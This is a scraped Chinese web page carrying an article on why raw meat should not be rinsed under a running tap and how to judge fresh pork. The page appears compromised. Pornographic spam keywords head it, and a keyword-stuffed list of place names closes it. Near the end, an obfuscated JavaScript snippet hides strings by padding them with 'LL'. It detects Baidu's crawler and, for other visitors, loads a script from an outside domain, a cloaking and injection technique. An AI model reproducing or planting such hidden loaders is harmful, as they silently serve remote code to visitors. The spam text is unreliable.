亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

如何正確清洗生肉?

2015-11-12 13:20:47  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:剛屠宰的生肉相對(duì)比較干凈,細(xì)菌比較少,但是可能存在寄肉蟲,比如豬帶絳蟲、牛帶絳蟲等。生肉不要在水龍頭下沖洗,可以在一個(gè)固定的盆里清洗一下,然后用廚房紙巾蘸干。

如何正確清洗生肉?

如何正確清洗生肉?

很多人在做肉的時(shí)候都是直接放在水龍頭下沖洗一下,然后直接放鍋里煮,這樣的做法其實(shí)是不是健康的。

剛屠宰的生肉相對(duì)比較干凈,細(xì)菌比較少,但是可能存在寄肉蟲,比如豬帶絳蟲、牛帶絳蟲等。人感染寄生蟲后會(huì)出現(xiàn)腹脹、腹瀉、消化不良等癥狀。

以豬帶絳蟲為例,不但損傷腸道,幼蟲進(jìn)入血液還會(huì)傷及全身,進(jìn)入大腦會(huì)引發(fā)癲癇,進(jìn)入眼部嚴(yán)重的會(huì)導(dǎo)致失明……長期感染寄生蟲,會(huì)營養(yǎng)不良,還會(huì)傳染他人。

同時(shí),隨著儲(chǔ)存和運(yùn)輸,生肉會(huì)逐漸產(chǎn)生大量的細(xì)菌,比如大腸桿菌、金黃色葡萄球菌、醋酸桿菌、假單胞菌等。從而使人出現(xiàn)腹瀉、發(fā)燒、腸炎等癥狀。生肉中的寄生蟲和細(xì)菌會(huì)給人體健康帶來極大的傷害,所幸,只要充分地高溫加熱就能把它們都消滅。

因此,從安全角度出發(fā),除了有機(jī)肉,或者對(duì)其來源格外了解的肉,一定要徹底煮熟再吃。

有的人習(xí)慣在烹調(diào)前,把肉沖洗一遍。可是這個(gè)習(xí)慣卻有不小的健康隱患。近日,澳大利亞維多尼亞州衛(wèi)生部在其官方網(wǎng)站上提醒,生肉買回來后,不要在水龍頭下沖洗。如果用水龍頭沖洗生肉,不但不能殺死上面的細(xì)菌,四處飛濺的水花還會(huì)讓細(xì)菌傳染廚房水槽、案板、料理臺(tái)、菜刀……只要水花可能濺到的地方,細(xì)菌就可能傳播過去。如果下次再洗水果等生吃的食物時(shí),可能就會(huì)污染細(xì)菌,產(chǎn)生食品安全隱患。

因此,澳大利亞維多尼亞州衛(wèi)生部建議,生肉不要在水龍頭下沖洗,可以在一個(gè)固定的盆里清洗一下,然后用廚房紙巾蘸干。

小訣竅教你買到放心豬肉

豬肉是否新鮮,有三個(gè)鑒別標(biāo)準(zhǔn)顏色鮮、氣味香、手感不粘:

皮白肉硬有光澤。

新鮮豬肉的瘦肉部分顏色呈均勻的淡紅或者鮮紅色,切面呈大理石樣紋理,脂肪部分潔白且有光澤,質(zhì)硬且稠。不新鮮的豬肉顏色往往是深紅色或者紫紅色,脂肪失去光澤,偏灰黃甚至變綠。

鮮香無異味。

新鮮的豬肉帶著固有的鮮香氣味。而不新鮮的豬肉通常稍有氨味或酸味。經(jīng)過冷凍的豬肉,解凍后肌肉色澤、氣味、含水量等均正常無異味;過期冷凍肉脂肪暗黃,肌肉干枯發(fā)黑,表面有風(fēng)干氧化斑點(diǎn),就近聞會(huì)有淡臭味,解凍后臭味更濃。

表面不粘彈性好。

觸摸新鮮的豬肉表面,感覺微干或稍濕,但不粘手、彈性好,指壓凹陷后能立即復(fù)原,有堅(jiān)實(shí)感。夏天生肉放久了,肉質(zhì)易發(fā)生變化。觸摸不新鮮的肉,摸起來會(huì)感覺表面干燥或有些粘手,新切面濕潤,指壓后的凹陷不能立即恢復(fù),彈性差。

對(duì)于生肉,千萬不要放在水龍頭下直接沖洗,這樣在食用的時(shí)候會(huì)對(duì)健康不利,應(yīng)該放在固定的盆里洗,此外,選擇健康的豬肉也是保障健康的一個(gè)前提哦。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
德兴市| 阿勒泰市| 康乐县| 平凉市| 潞城市| 武定县| 长岭县| 扶余县| 张家口市| 长顺县| 卓尼县| 华亭县| 天全县| 遂溪县| 镇雄县| 阳东县| 盐边县| 永城市| 海林市| 漾濞| 江达县| 毕节市| 黔西县| 静海县| 北碚区| 武夷山市| 呼伦贝尔市| 民丰县| 莱芜市| 新和县| 故城县| 江阴市| 鹤庆县| 永靖县| 泽库县| 凤台县| 延津县| 黄平县| 府谷县| 伊吾县| 宁河县|